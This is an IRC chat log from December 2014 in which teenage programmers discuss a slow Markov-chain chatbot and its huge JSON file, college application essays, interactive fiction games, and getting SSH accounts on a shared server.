[2014-12-22T13:12:21-0500] <Hyper> awe: you should probably try caching the frequency tables :)
[2014-12-22T13:12:32-0500] <@awe> Hyper: hm?
[2014-12-22T13:12:36-0500] <Hyper> for markov
[2014-12-22T13:12:41-0500] <@awe> I can't.
[2014-12-22T13:12:47-0500] <Hyper> D:
[2014-12-22T13:13:01-0500] <@awe> Because of the way the markov plugin for awebot is set up, I can't do any global state.
[2014-12-22T13:13:04-0500] <@awe> That's why it's so slow.
[2014-12-22T13:13:12-0500] <Hyper> write it to a file.
[2014-12-22T13:13:14-0500] <@awe> I do.
[2014-12-22T13:13:20-0500] <@awe> That's how slow it is. :)
[2014-12-22T13:13:34-0500] <@awe> Well, sort of.
[2014-12-22T13:13:37-0500] • Hyper: looks at the code
[2014-12-22T13:13:48-0500] <@awe> I can make it faster by switching to json serialization instead of feeding the file every time.
[2014-12-22T13:14:04-0500] <@awe> I use json serialization in butthole (but he also keeps the same chain throughout his runtime)
[2014-12-22T13:14:42-0500] <@awe> I'd update the markov plugin for awebot, but Rust is currently broken.
[2014-12-22T13:17:40-0500] <Hyper> awe: how big is this file?
[2014-12-22T13:17:52-0500] <@awe> The source file for awebot is...
[2014-12-22T13:17:55-0500] <Hyper> I don't believe that reading a single text file is taking on the order of seconds
[2014-12-22T13:18:08-0500] <Hyper> awe: no, the cached frequencies
[2014-12-22T13:18:25-0500] <@awe> awebot doesn't use the json serialization.
[2014-12-22T13:18:31-0500] <Hyper> oh
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[2014-12-22T13:20:33-0500] <@awe> So, awebot is re-creating the chain each time.
[2014-12-22T13:20:37-0500] <@awe> Which is the slow part.
[2014-12-22T13:21:36-0500] <alokpathy> oops
[2014-12-22T13:23:13-0500] <@awe> Hyper: the source is 6 MB
[2014-12-22T13:23:35-0500] <@awe> Hyper: the source for butthole is 41M.
[2014-12-22T13:23:50-0500] <@awe> Hyper: the json file is 26 MB.
[2014-12-22T13:24:31-0500] <Hyper> ok yeah, not a several-second read then
[2014-12-22T13:24:56-0500] <@awe> Parsing the json file takes two or three seconds at startup.
[2014-12-22T13:26:42-0500] <@awe> Hyper: this file is so big that my attempts to paste it into a website to prettify JSON are failing.
[2014-12-22T13:26:53-0500] <Hyper> :P
[2014-12-22T13:27:27-0500] <@awe> I tried to upload it to sprunge
[2014-12-22T13:27:31-0500] <@awe> (because then I don't have to copy+pasta)
[2014-12-22T13:27:40-0500] <@awe> but that seems to fail, too.
[2014-12-22T13:28:05-0500] <@awe> Going to UL it to Dropbox.
[2014-12-22T13:28:15-0500] <@awe> https://www.dropbox.com/s/85nj5dhnf6229j5/brain.json?dl=0
[2014-12-22T13:28:19-0500] <@awe> Let's see if I can prettify it.
[2014-12-22T13:29:00-0500] <@awe> Not from Dropbox.
[2014-12-22T13:29:08-0500] <@awe> Since I can't give a raw link to the file without it being a DL
[2014-12-22T13:30:40-0500] <nezorg> awe: ah, that issue is only if you have debuginfo enabled
[2014-12-22T13:31:02-0500] <@awe> still pretty bad.
[2014-12-22T13:31:46-0500] <@awe> I opened up brain.json in Apple's text editor.
[2014-12-22T13:31:47-0500] <@awe> I scrolled.
[2014-12-22T13:31:49-0500] <@awe> It crashed.
[2014-12-22T13:32:54-0500] <Hyper> awe: It didn't even get to showing the file when I accidentally did that
[2014-12-22T13:32:56-0500] <Hyper> :)
[2014-12-22T13:33:19-0500] <@awe> :D
[2014-12-22T13:33:23-0500] <@awe> It's so big.
[2014-12-22T13:33:35-0500] <Hyper> twss
[2014-12-22T13:33:38-0500] <@awe> Also, I love this art style: https://dl.dropboxusercontent.com/u/8097711/Pokemon.jpg
[2014-12-22T13:35:00-0500] <@awe> Guys, I made an IRC client one.
[2014-12-22T13:35:00-0500] <@awe> https://dl.dropboxusercontent.com/u/8097711/minimalist.png
[2014-12-22T13:35:36-0500] <alokpathy> Wow LOL
[2014-12-22T13:36:33-0500] <@awe> https://dl.dropboxusercontent.com/u/8097711/pkgnx-stack-osx.png
[2014-12-22T13:36:36-0500] <@awe> Also, look at how awesome I am.
[2014-12-22T13:36:41-0500] <@awe> Look at that sexy graph.
[2014-12-22T13:37:13-0500] <@awe> also, mmm those performance regressions from 1.0.1 to 1.0.2 and from 1.0.2 to 1.1.0
[2014-12-22T13:37:40-0500] <@awe> In my defense, the library actually didn't really work prior to 1.1.0, so, it wasn't really a regression so much as it was I actually fixed it.
[2014-12-22T13:41:47-0500] <@awe> Did I ever show you guys this? https://github.com/aatxe/chipster
[2014-12-22T14:01:41-0500] <hardmath123> awe: Re. big JSON files -- npm install js-beautify
[2014-12-22T14:01:56-0500] <@awe> hardmath123: thanks, bb.
[2014-12-22T14:03:33-0500] <@awe> hardmath123: how long will this take on a 26 MB file lol
[2014-12-22T14:04:19-0500] <hardmath123> awe: better than freezing your web browser
[2014-12-22T14:04:24-0500] <@awe> Very true
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[2014-12-22T15:22:17-0500] <Tamini_> nezorg: 10/10
[2014-12-22T15:22:24-0500] <nezorg> ty
[2014-12-22T15:23:50-0500] <nezorg> what other uses are there for paper magazines
[2014-12-22T15:24:28-0500] <alokpathy> Rube goldberg machines.
[2014-12-22T15:25:41-0500] <Tamini_> lol
[2014-12-22T15:25:43-0500] <Tamini_> true
[2014-12-22T15:31:07-0500] <alokpathy> That's the default answer for any "What can X be used for?"
[2014-12-22T15:49:17-0500] <Tamini_> well
[2014-12-22T15:49:24-0500] <Tamini_> what cant be used in a rube goldberg?
[2014-12-22T15:50:34-0500] <alokpathy> Hm
[2014-12-22T15:50:41-0500] <alokpathy> A planet?
[2014-12-22T15:50:47-0500] <+Tamini> well i mean
[2014-12-22T15:51:14-0500] <+Tamini> with a long enough lever and a decently placed fulcrum
[2014-12-22T15:51:17-0500] <+Tamini> we can move planets right ;)
[2014-12-22T15:51:49-0500] <alokpathy> I wish LOL
[2014-12-22T15:52:36-0500] <+Tamini> im pretty sure that was an aristotle quote
[2014-12-22T15:52:42-0500] <+Tamini> i might've hecked it up tho
[2014-12-22T15:52:44-0500] <+Tamini> wait 
[2014-12-22T15:52:47-0500] <+Tamini> darn
[2014-12-22T15:52:50-0500] <+Tamini> hm
[2014-12-22T15:56:42-0500] <+Tamini> also alokpathy: did you submit yet
[2014-12-22T15:57:33-0500] <alokpathy> Not yet
[2014-12-22T15:57:48-0500] <alokpathy> I sent the essays to him.
[2014-12-22T15:58:52-0500] <+Tamini> oh cool
[2014-12-22T15:59:03-0500] <+Tamini> because it seems to be my "read colleg essays" day today
[2014-12-22T16:04:05-0500] <alokpathy> Really?
[2014-12-22T16:04:42-0500] <+Tamini> 2 distinct people have asked me to read for them
[2014-12-22T16:04:42-0500] <+Tamini> :P
[2014-12-22T16:07:23-0500] <alokpathy> Oh xD
[2014-12-22T16:21:28-0500] <+Tamini> annnnd
[2014-12-22T16:21:36-0500] <+Tamini> holy shit this cmu essay is the greatest thing i've read in a while
[2014-12-22T16:22:46-0500] <alokpathy> :|
[2014-12-22T16:22:49-0500] <alokpathy> CMU CS?
[2014-12-22T16:24:43-0500] <+Tamini> scs/ece
[2014-12-22T16:24:50-0500] <alokpathy> Aw
[2014-12-22T16:24:53-0500] <+Tamini> its so good im dying
[2014-12-22T16:24:55-0500] <alokpathy> Can you destroy the essay for me?
[2014-12-22T16:24:57-0500] <alokpathy> plz
[2014-12-22T16:25:03-0500] <alokpathy> No more competition plz
[2014-12-22T16:25:41-0500] <+Tamini> LOL
[2014-12-22T16:25:44-0500] <+Tamini> its okay
[2014-12-22T16:25:46-0500] <+Tamini> you guys can both get in
[2014-12-22T16:25:55-0500] <+Tamini> and i can visit cmu like 20 times a year to see both of you
[2014-12-22T16:26:00-0500] <+Tamini> and join you guys
[2014-12-22T16:26:01-0500] <+Tamini> k? <3
[2014-12-22T16:26:06-0500] <alokpathy> My chances are already low .-.
[2014-12-22T16:26:12-0500] <alokpathy> I hope that happens LOL
[2014-12-22T16:27:34-0500] <+Tamini> lol
[2014-12-22T16:37:16-0500] <alokpathy> Unfortunately, I'm not writing supps at the moment.
[2014-12-22T16:37:25-0500] <alokpathy> I'm writing hsctf problems.
[2014-12-22T16:37:26-0500] <alokpathy> oops.
[2014-12-22T16:38:50-0500] <+Tamini> oops
[2014-12-22T16:38:54-0500] <+Tamini> why dont you supps
[2014-12-22T16:38:56-0500] <+Tamini> :P
[2014-12-22T16:39:23-0500] <alokpathy> You'll understand next year LOL
[2014-12-22T16:39:27-0500] <alokpathy> They're so boring.
[2014-12-22T16:40:26-0500] <alokpathy> A kid last year in our school evidently enjoyed college apps, though
[2014-12-22T16:40:30-0500] <alokpathy> so he applied to 52.
[2014-12-22T16:40:33-0500] <+Tamini> LOL
[2014-12-22T16:40:34-0500] <+Tamini> what
[2014-12-22T16:40:36-0500] <+Tamini> isnt that like
[2014-12-22T16:40:38-0500] <+Tamini> super expensive
[2014-12-22T16:40:58-0500] <alokpathy> I heard he had a bunch of fee waivers or stuff.
[2014-12-22T16:41:38-0500] <+Tamini> damn
[2014-12-22T16:46:15-0500] <@awe> It's nothing impressive.
[2014-12-22T16:46:30-0500] <@awe> You get tons of emails from schools saying "Wow, free expedited application! No essay!"
[2014-12-22T16:46:31-0500] <+Tamini> its just sorta stupid
[2014-12-22T16:46:42-0500] <@awe> They take five minutes to fill out.
[2014-12-22T16:46:53-0500] <@awe> He applied to like 15 schools + all of those that emailed him.
[2014-12-22T16:47:02-0500] <+Tamini> damn
[2014-12-22T16:47:13-0500] <+Tamini> thats some dedication tho
[2014-12-22T16:48:52-0500] <@awe> Shrug.
[2014-12-22T16:48:57-0500] <@awe> You could robo-form it.
[2014-12-22T16:53:11-0500] <+Tamini> also alokpathy: when will you be done with college apps?
[2014-12-22T16:55:59-0500] <alokpathy> Tamini: At this rate, few days
[2014-12-22T16:56:11-0500] <alokpathy> like 3 or 4, I guess
[2014-12-22T16:56:13-0500] <+Tamini> eh, okay <3
[2014-12-22T16:56:19-0500] <+Tamini> i wanted help with something after you were done
[2014-12-22T16:56:27-0500] <alokpathy> What did you need help with?
[2014-12-22T16:57:21-0500] <@awe> The complete and utter destruction of the human race.
[2014-12-22T16:57:27-0500] <@awe> I mean uhh..
[2014-12-22T16:57:29-0500] <@awe> math homework.
[2014-12-22T16:57:46-0500] <+Tamini> :P
[2014-12-22T16:57:47-0500] <alokpathy> What's the difference?
[2014-12-22T16:58:03-0500] <@awe> butthole: What is the difference?
[2014-12-22T16:58:03-0500] <butthole> awe: What do
[2014-12-22T16:58:11-0500] <@awe> butthole: I don't really know.
[2014-12-22T16:58:12-0500] <butthole> awe: know.
[2014-12-22T16:58:14-0500] <+Tamini> you mean your math homework doesnt involve the destruction of the human race?
[2014-12-22T16:58:22-0500] <@awe> butthole: What do you think of meatbags?
[2014-12-22T16:58:22-0500] <butthole> awe: think you put a lot of NX editing some frequency
[2014-12-22T16:58:37-0500] <@awe> butthole: fak u
[2014-12-22T16:58:38-0500] <butthole> awe: XD
[2014-12-22T16:58:44-0500] <alokpathy>  Oh I didn't even realize butthole was here.
[2014-12-22T16:58:48-0500] <alokpathy> Who's he?
[2014-12-22T16:58:58-0500] <@awe> Ask him?
[2014-12-22T16:59:02-0500] <alokpathy> butthole: Who are you?
[2014-12-22T16:59:02-0500] <butthole> alokpathy: Bui: I have the libertarian supreme blunt wras
[2014-12-22T16:59:11-0500] <alokpathy> I see.
[2014-12-22T16:59:21-0500] <alokpathy> A terrorist who's holding a libertarian as hostage. 
[2014-12-22T17:00:13-0500] <@awe> butthole: Why?
[2014-12-22T17:00:13-0500] <butthole> awe: don't have the game and it's been past hour and do it today, Google by the Ubuntu
[2014-12-22T17:00:22-0500] <@awe> Google by the Ubuntu.
[2014-12-22T17:00:24-0500] <@awe> Brilliant.
[2014-12-22T17:00:32-0500] <@awe> butthole: Rust Rust Rust Rust
[2014-12-22T17:00:32-0500] <butthole> awe: Rust strips in an updated to crossfire??"
[2014-12-22T17:00:40-0500] <alokpathy> butthole: Does P = NP?
[2014-12-22T17:00:41-0500] <butthole> alokpathy: P though and recompile all the tides change, you
[2014-12-22T17:00:50-0500] <@awe> butthole: Haskell Haskell Haskell Haskell
[2014-12-22T17:00:50-0500] <alokpathy> Um
[2014-12-22T17:00:50-0500] <butthole> awe: Haskell
[2014-12-22T17:00:53-0500] <@awe> butthole: Haskell Haskell Haskell Haskell
[2014-12-22T17:00:53-0500] <butthole> awe: Haskell for your log so wad do I, Larkaros
[2014-12-22T17:01:03-0500] <alokpathy> butthole: Do you know Cleverbot?
[2014-12-22T17:01:03-0500] <butthole> alokpathy: Do all that pattern matching of other
[2014-12-22T17:01:17-0500] <alokpathy> butthole: So you pattern match for Cleverbot? Nice.
[2014-12-22T17:01:17-0500] <butthole> alokpathy: Cleverbot?
[2014-12-22T17:01:23-0500] <alokpathy> butthole: Yes, Cleverbot.
[2014-12-22T17:01:23-0500] <butthole> alokpathy: you can use menopause</span>
[2014-12-22T17:01:30-0500] <alokpathy> butthole: Um.
[2014-12-22T17:01:30-0500] <butthole> alokpathy: ah
[2014-12-22T17:01:33-0500] <@awe> Grumble.
[2014-12-22T17:01:34-0500] <@awe> HTML.
[2014-12-22T17:01:47-0500] <alokpathy> lolol
[2014-12-22T17:16:00-0500] <alokpathy> Oh, cool, Rutgers honors.
[2014-12-22T17:26:20-0500] <@awe> hardmath123: FATAL ERROR: CALL_AND_RETRY_2 Allocation failed - process out of memory
[2014-12-22T17:26:26-0500] <@awe> hardmath123: could not prettify it.
[2014-12-22T17:27:47-0500] <alokpathy> gg
[2014-12-22T17:29:40-0500] <@awe> brain.json is a behemoth.
[2014-12-22T17:29:46-0500] <@awe> butthole: your brain is incredibly large.
[2014-12-22T17:29:46-0500] <butthole> awe: large. they keep STR/DEX/INT/LUK
[2014-12-22T17:30:05-0500] <@awe> butthole: How'd MapleStory come into this?
[2014-12-22T17:30:05-0500] <butthole> awe: into shape is less common part is only battlefield bad websites.
[2014-12-22T17:33:38-0500] <@awe> butthole: <span <span <span <spna
[2014-12-22T17:33:38-0500] <butthole> awe: <span style='font-size: medium;'>burnt is almost done a storm knocked out the guy and computer to call that they have a decent IDE
[2014-12-22T17:46:19-0500] <hardmath123> awe: yikes. 
[2014-12-22T17:46:34-0500] <hardmath123> awe: is "streaming JSON prettifier" a thing?
[2014-12-22T17:46:49-0500] <@awe> I don't know.
[2014-12-22T17:46:51-0500] <@awe> Clearly, I need one.
[2014-12-22T17:48:52-0500] <+Tamini> alokpathy: yo
[2014-12-22T17:49:24-0500] <alokpathy> Tamini: Sup B-)
[2014-12-22T17:49:33-0500] <+Tamini> did i not tell you my
[2014-12-22T17:49:36-0500] <+Tamini> interactive fiction idea
[2014-12-22T17:49:43-0500] <alokpathy> The text adventure thing?
[2014-12-22T17:49:46-0500] <+Tamini> sooorta
[2014-12-22T17:49:48-0500] <+Tamini> like
[2014-12-22T17:49:52-0500] <+Tamini> i have a solid example of what im talking about
[2014-12-22T17:49:54-0500] <hardmath123> yay IF :D
[2014-12-22T17:49:58-0500] <alokpathy> Err I don't think you told me.
[2014-12-22T17:50:03-0500] <+Tamini> oh
[2014-12-22T17:50:04-0500] <+Tamini> <3
[2014-12-22T17:50:06-0500] <+Tamini> one sec
[2014-12-22T17:50:10-0500] <+Tamini> hardmath123: ikr <3
[2014-12-22T17:50:13-0500] <alokpathy> [waits]
[2014-12-22T17:50:13-0500] <+Tamini> any recommendations?
[2014-12-22T17:50:35-0500] <hardmath123> LostPig.z8
[2014-12-22T17:50:51-0500] <hardmath123> @tell JecobEdelman use nearley to make a streaming JSON prettifier and make awe happy.
[2014-12-22T17:50:51-0500] <mailbot> hardmath123: I'll let them know!
[2014-12-22T17:50:56-0500] <+Tamini> lostpig
[2014-12-22T17:50:59-0500] <+Tamini> wait is that the orc
[2014-12-22T17:51:03-0500] <hardmath123> @tell JacobEdelman use nearley to make a streaming JSON prettifier and make awe happy.
[2014-12-22T17:51:03-0500] <mailbot> hardmath123: I'll let them know!
[2014-12-22T17:51:05-0500] <+Tamini> and you fall into a hole
[2014-12-22T17:51:11-0500] <hardmath123> Tamini: yeah, Grunk falls into a hole
[2014-12-22T17:51:22-0500] <hardmath123> Tamini: Gunk has: Pants (Grunk wearing them)
[2014-12-22T17:51:27-0500] You're now known as JecobEdelman
[2014-12-22T17:51:27-0500] <@JecobEdelman> lol
[2014-12-22T17:51:27-0500] <mailbot> JecobEdelman: Moments ago, hardmath123 said use nearley to make a streaming JSON prettifier and make awe happy.
[2014-12-22T17:51:29-0500] You're now known as awe
[2014-12-22T17:51:29-0500] <+Tamini> <3
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[2014-12-22T17:52:21-0500] <+Tamini> mzhang my maaan
[2014-12-22T17:52:21-0500] <+Tamini> <3
[2014-12-22T17:53:09-0500] <failedxyz> hi
[2014-12-22T17:53:30-0500] <+Tamini> do you wanna make a channel?
[2014-12-22T17:53:34-0500] <failedxyz> ?
[2014-12-22T17:53:49-0500] <+Tamini> eh
[2014-12-22T17:53:49-0500] <+Tamini> nvm
[2014-12-22T17:53:58-0500] <+Tamini> one sec im still looking for an example to show alok
[2014-12-22T17:54:31-0500] <+Tamini> gotcha
[2014-12-22T17:57:55-0500] <+Tamini> hardmath123: we gotta bounce around good ifs sometime, kay? <#
[2014-12-22T17:58:37-0500] <hardmath123> Tamini: Yeah. I tried to write one a while back with this other kid.
[2014-12-22T17:58:46-0500] <hardmath123> Tamini: http://www.ankit.io/WineAndRoses/#
[2014-12-22T17:58:55-0500] <+Tamini> um
[2014-12-22T17:58:56-0500] <+Tamini> wait one second
[2014-12-22T17:59:06-0500] <hardmath123> it's more like choose-your-own-adventure
[2014-12-22T17:59:22-0500] <+Tamini> um
[2014-12-22T17:59:25-0500] <+Tamini> it doesnt progress :P
[2014-12-22T17:59:38-0500] <@awe> hardmath123: I'm reading your blog from beginning to end now.
[2014-12-22T17:59:47-0500] <@awe> hardmath123: the bitcoin post reminded me that I kind of want to play around with blockchain type stuff.
[2014-12-22T18:00:35-0500] <@awe> hardmath123: I don't even know what for. I just kind of want to toy around and see if I can come up with some other cool use-cases.
[2014-12-22T18:01:03-0500] <hardmath123> awe: yeah, the bitcoin community recently put out decent dev documentation
[2014-12-22T18:01:16-0500] <hardmath123> awe: I want to implement decent DNS-in-the-blockchain
[2014-12-22T18:01:25-0500] <hardmath123> Tamini: of course it does!
[2014-12-22T18:01:35-0500] <+Tamini> uhh
[2014-12-22T18:01:40-0500] <+Tamini> how do i make it progress
[2014-12-22T18:01:46-0500] <hardmath123> You click the links.
[2014-12-22T18:01:57-0500] <+Tamini> OH JK
[2014-12-22T18:02:01-0500] <+Tamini> I DISABLED JS THAT-
[2014-12-22T18:02:02-0500] <+Tamini> oh
[2014-12-22T18:02:04-0500] <+Tamini> okay one second
[2014-12-22T18:02:17-0500] <+Tamini> i just read the source and spoiled myself
[2014-12-22T18:02:17-0500] <hardmath123> They weren't legit links, Tamini. This isn't 1990.
[2014-12-22T18:02:17-0500] <+Tamini> oops
[2014-12-22T18:10:33-0500] <@awe> hardmath123: "Her: Oh, sure. What's your name?"
[2014-12-22T18:10:38-0500] <@awe> hardmath123: no response.
[2014-12-22T18:10:46-0500] <@awe> hardmath123: Well, that was uneventful.
[2014-12-22T18:11:15-0500] <+ubuntor> it progresses further if you tab and enter
[2014-12-22T18:11:42-0500] <hardmath123> awe: it's incomplete. written at 4am because he seemed heartbroken and needed to take his mind off life.
[2014-12-22T18:11:48-0500] <failedxyz> lolol
[2014-12-22T18:12:52-0500] <alokpathy> butthole: soup
[2014-12-22T18:12:52-0500] <butthole> alokpathy: lpvb: I can understand this guy
[2014-12-22T18:13:00-0500] <alokpathy> butthole: What soup
[2014-12-22T18:13:00-0500] <butthole> alokpathy: Doesn't seems it's paged.
[2014-12-22T18:13:05-0500] <alokpathy> butthole: What's up
[2014-12-22T18:13:05-0500] <butthole> alokpathy: um
[2014-12-22T18:13:12-0500] <alokpathy> butthole: I'm talking to you.
[2014-12-22T18:13:12-0500] <butthole> alokpathy: I'm not to add the destination IP or so?
[2014-12-22T18:13:20-0500] <alokpathy> butthole: I give up on you.
[2014-12-22T18:13:20-0500] <butthole> alokpathy: I actually don't really quite curious what it out
[2014-12-22T18:15:27-0500] <@awe> hardmath123: this seems like it'd be a very depressing way to supposedly not focus on your heartbreak.
[2014-12-22T18:39:12-0500] <alokpathy> Tamini: mserrano said my CMU supp was good :o
[2014-12-22T18:39:18-0500] <+Tamini> <3
[2014-12-22T18:39:19-0500] <+Tamini> awesome
[2014-12-22T18:39:20-0500] <+Tamini> can i read it
[2014-12-22T18:39:21-0500] <+Tamini> :D
[2014-12-22T18:39:41-0500] <alokpathy> Sure, I'll email it
[2014-12-22T18:39:47-0500] <alokpathy> It's probably not as good as the one you read though.
[2014-12-22T18:39:52-0500] <alokpathy> That super duper amazing one.
[2014-12-22T18:40:55-0500] <alokpathy> So, I hope your standards aren't too off :P
[2014-12-22T18:45:09-0500] <@awe> I hit 200 commits in my IRC library
[2014-12-22T18:45:48-0500] <+Tamini> lol
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[2014-12-22T18:45:56-0500] Pidgey sets mode +v JacobEdelman
[2014-12-22T18:46:01-0500] <@awe> hi JacobEdelman 
[2014-12-22T18:46:07-0500] <+Tamini> um apothy
[2014-12-22T18:46:12-0500] <+Tamini> i dont have it
[2014-12-22T18:46:23-0500] <+JacobEdelman> hello awe, I have rearrived
[2014-12-22T18:46:23-0500] <mailbot> JacobEdelman: 55 minutes ago, hardmath123 said use nearley to make a streaming JSON prettifier and make awe happy.
[2014-12-22T18:46:38-0500] <+JacobEdelman> ..... I don't think it could be steaming
[2014-12-22T18:46:59-0500] <+JacobEdelman> also, vegan sushi is good
[2014-12-22T18:47:28-0500] <+Tamini> how does that work?
[2014-12-22T18:47:32-0500] <alokpathy> Tamini: Oh oops LOL
[2014-12-22T18:47:34-0500] <alokpathy> I'll send it now
[2014-12-22T18:47:38-0500] <alokpathy> I got distracted by Ernest5
[2014-12-22T18:47:41-0500] <hardmath123> JacobEdelman: I sead "Streaming", not steaming.
[2014-12-22T18:47:55-0500] <@awe> Tamini: vegetables instead of fish
[2014-12-22T18:47:55-0500] <+JacobEdelman> I meant streaming
[2014-12-22T18:47:58-0500] <@awe> Tamini: sometimes tofu
[2014-12-22T18:48:13-0500] <+JacobEdelman> note to self: make a steaming parser :P
[2014-12-22T18:48:33-0500] <@awe> Hmm.
[2014-12-22T18:48:33-0500] <+JacobEdelman> awe: its more complex than that
[2014-12-22T18:48:46-0500] <+JacobEdelman> awe: its all... delicious
[2014-12-22T18:48:46-0500] <@awe> The vegan sushi you had might be more complicated than that.
[2014-12-22T18:48:54-0500] <@awe> But I have a friend who's vegan and eats sushi on the regular.
[2014-12-22T18:48:56-0500] <+JacobEdelman> it was good
[2014-12-22T18:49:12-0500] <+JacobEdelman> (I eat DIY vegetarian sushi regularly at home)
[2014-12-22T18:49:14-0500] <@awe> Guys, should I write a server component to my IRC library and then write an IRCd?
[2014-12-22T18:49:38-0500] <@awe> Or should I try to implement my own P2P stuff and play with blockchains?
[2014-12-22T18:50:12-0500] <hardmath123> awe: write an ircd
[2014-12-22T18:51:33-0500] <alokpathy> Tamini: Snet
[2014-12-22T18:51:34-0500] <@awe> Why?
[2014-12-22T18:51:35-0500] <alokpathy> Sent*
[2014-12-22T18:51:39-0500] <+Tamini> <3
[2014-12-22T18:51:42-0500] <alokpathy> Though, I personally think my CA version is better.
[2014-12-22T18:51:47-0500] <alokpathy> CA essay*
[2014-12-22T18:52:05-0500] <alokpathy> I basically talk about creating the CS Club, HSCTF, and HSCS.io there.
[2014-12-22T18:52:10-0500] <alokpathy> My CMU supp is about the summer program.
[2014-12-22T18:52:25-0500] <alokpathy> Partially because a lot of kids from that program get accepted to CMU LOL
[2014-12-22T18:52:37-0500] <alokpathy> So I felt like it was necessary xD
[2014-12-22T18:52:38-0500] <alokpathy> brb
[2014-12-22T18:52:44-0500] <hardmath123> awe: because i'd use it
[2014-12-22T18:52:49-0500] <hardmath123> by the way
[2014-12-22T18:52:54-0500] <@awe> hardmath123: but then you'd compete with pdgn.co ;)
[2014-12-22T18:53:06-0500] <hardmath123> awe: no, pdgn.co would use it
[2014-12-22T18:53:10-0500] <@awe> Yeah.
[2014-12-22T18:53:21-0500] <hardmath123> by the way, guys, remember how I unconditionally love you all?
[2014-12-22T18:53:32-0500] <@awe> No. I didn't know that. Why?
[2014-12-22T18:53:37-0500] <@awe> Did you buy everybody Starbound?
[2014-12-22T18:54:07-0500] <hardmath123> y'all get super-special ssh access to our server if you want
[2014-12-22T18:54:08-0500] <hardmath123> http://goo.gl/forms/wBnjyJtwqn
[2014-12-22T18:54:18-0500] <+Tamini> alokpathy: you two have very different styles.
[2014-12-22T18:54:31-0500] <+Tamini> also what's the question
[2014-12-22T18:54:31-0500] <+ubuntor> ooh
[2014-12-22T18:54:33-0500] <+Tamini> isnt it why cmu
[2014-12-22T18:54:41-0500] <+Tamini> hardmath123 <3
[2014-12-22T18:54:50-0500] <alokpathy> Tamini: Essentially
[2014-12-22T18:55:10-0500] <+Tamini> his was entirely
[2014-12-22T18:55:14-0500] <+Tamini> why scs/ecs
[2014-12-22T18:55:16-0500] <+Tamini> yours is
[2014-12-22T18:55:22-0500] <+Tamini> half of "i do cs and this is why that relates to cmu"
[2014-12-22T18:55:23-0500] <alokpathy> The very generic and ubiquitous prompt.
[2014-12-22T18:55:27-0500] <+Tamini> heh
[2014-12-22T18:55:35-0500] <alokpathy> I mean, you have to relate it to CMU.
[2014-12-22T18:55:41-0500] <alokpathy> They ask for that.
[2014-12-22T18:55:45-0500] <+Tamini> I like it.
[2014-12-22T18:55:49-0500] <alokpathy> yey
[2014-12-22T18:57:06-0500] <@awe> hardmath123: k done
[2014-12-22T18:57:26-0500] <@awe> hardmath123: I hope you enjoy my reason for wanting to join.
[2014-12-22T18:58:38-0500] <hardmath123> awe: cool, i'll add you in a bit
[2014-12-22T18:58:56-0500] <alokpathy> Tamini: Want to read my CA essay?
[2014-12-22T18:59:17-0500] <+Tamini> i read like
[2014-12-22T18:59:25-0500] <+Tamini> the first couple drafts already, didn't i?
[2014-12-22T18:59:26-0500] <+Tamini> but sure
[2014-12-22T18:59:32-0500] <alokpathy> Tamini: I changed it entirely.
[2014-12-22T18:59:48-0500] <@awe> hardmath123: specs for serveR?
[2014-12-22T18:59:51-0500] <@awe> serveR*
[2014-12-22T18:59:52-0500] <@awe> server**
[2014-12-22T19:00:42-0500] <hardmath123> awe: Debian/DigitalOcean
[2014-12-22T19:00:57-0500] <+Tamini> heh, sounds about right
[2014-12-22T19:00:59-0500] <+Tamini> show me.
[2014-12-22T19:01:06-0500] <@awe> hardmath123: specs tho?
[2014-12-22T19:01:12-0500] <+Tamini> my high school is one of the best in the nation
[2014-12-22T19:01:13-0500] <+Tamini> lel
[2014-12-22T19:02:09-0500] <@awe> hardmath123: can I port squat?
[2014-12-22T19:02:22-0500] <+Tamini> alokpathy: it flows really well and like
[2014-12-22T19:02:29-0500] <+Tamini> it makes you sound like a legitimately likable person
[2014-12-22T19:05:29-0500] <@awe> alokpathy: so, you've certainly got them fooled.
[2014-12-22T19:06:07-0500] <+ubuntor> lol
[2014-12-22T19:06:31-0500] <hardmath123> awe: you're added, ubuntor you're on deck
[2014-12-22T19:06:37-0500] <hardmath123> i'll automate this someday
[2014-12-22T19:08:05-0500] <+ubuntor> sweet
[2014-12-22T19:08:54-0500] <+Tamini> awe: be nice, sweetie
[2014-12-22T19:09:30-0500] <hardmath123> DigitalOcean 20GB server with Debian Wheezy (7.0)
[2014-12-22T19:09:34-0500] <hardmath123> that's all I know
[2014-12-22T19:09:43-0500] <@awe> 20GB is RAM or diskspace?
[2014-12-22T19:09:49-0500] <@awe> hardmath123: also, I think changing my passwd messed up.
[2014-12-22T19:10:11-0500] <@awe> Nevermind.
[2014-12-22T19:10:19-0500] <hardmath123> awe: 20GB RAM, 512MB diskspace
[2014-12-22T19:10:22-0500] <@awe> Oh, no, it is messing up.
[2014-12-22T19:10:27-0500] <@awe> hardmath123: bleh.
[2014-12-22T19:10:28-0500] <alokpathy> awe: That was my goal :P
[2014-12-22T19:10:30-0500] <alokpathy> Tamini: Nicee
[2014-12-22T19:10:45-0500] <@awe> hardmath123: sarcasm not appreciated, but I have an identical server.
[2014-12-22T19:10:51-0500] <@awe> hardmath123: the one my ZNC is on.
[2014-12-22T19:11:06-0500] <@awe> hardmath123: but yeah, I can't change my passwd.
[2014-12-22T19:11:14-0500] <@awe> passwd: Authentication token manipulation error
[2014-12-22T19:11:14-0500] <@awe> passwd: password unchanged
[2014-12-22T19:12:04-0500] <+ubuntor> alokpathy: ooh, can i see?
[2014-12-22T19:12:10-0500] <hardmath123> ubuntor: done
[2014-12-22T19:12:29-0500] <alokpathy> ubuntor: My CA essay?
[2014-12-22T19:12:52-0500] <hardmath123> awe: crud, that was genuinely me derping out.
[2014-12-22T19:13:22-0500] <@awe> Ah, okay.
[2014-12-22T19:13:28-0500] <+ubuntor> alokpathy: yeah
[2014-12-22T19:13:40-0500] <alokpathy> ubuntor: Wha'ts your email?
[2014-12-22T19:13:48-0500] <+ubuntor> ubuntor2000@gmail.com
[2014-12-22T19:14:04-0500] <+ubuntor> hardmath123: IF with frotz?
[2014-12-22T19:14:04-0500] <hardmath123> awe try again
[2014-12-22T19:14:06-0500] <+ubuntor> this is the best
[2014-12-22T19:14:12-0500] <alokpathy> ubuntor: Are you a senior?
[2014-12-22T19:14:18-0500] <hardmath123> FROTZ IS THE BEST
[2014-12-22T19:14:19-0500] <+ubuntor> junior
[2014-12-22T19:14:32-0500] <alokpathy> Ah okay
[2014-12-22T19:14:38-0500] <alokpathy> So you're not my competition.
[2014-12-22T19:14:43-0500] <+ubuntor> lol ok
[2014-12-22T19:14:44-0500] <alokpathy> That makes me more comfortable with sharing my essay :P
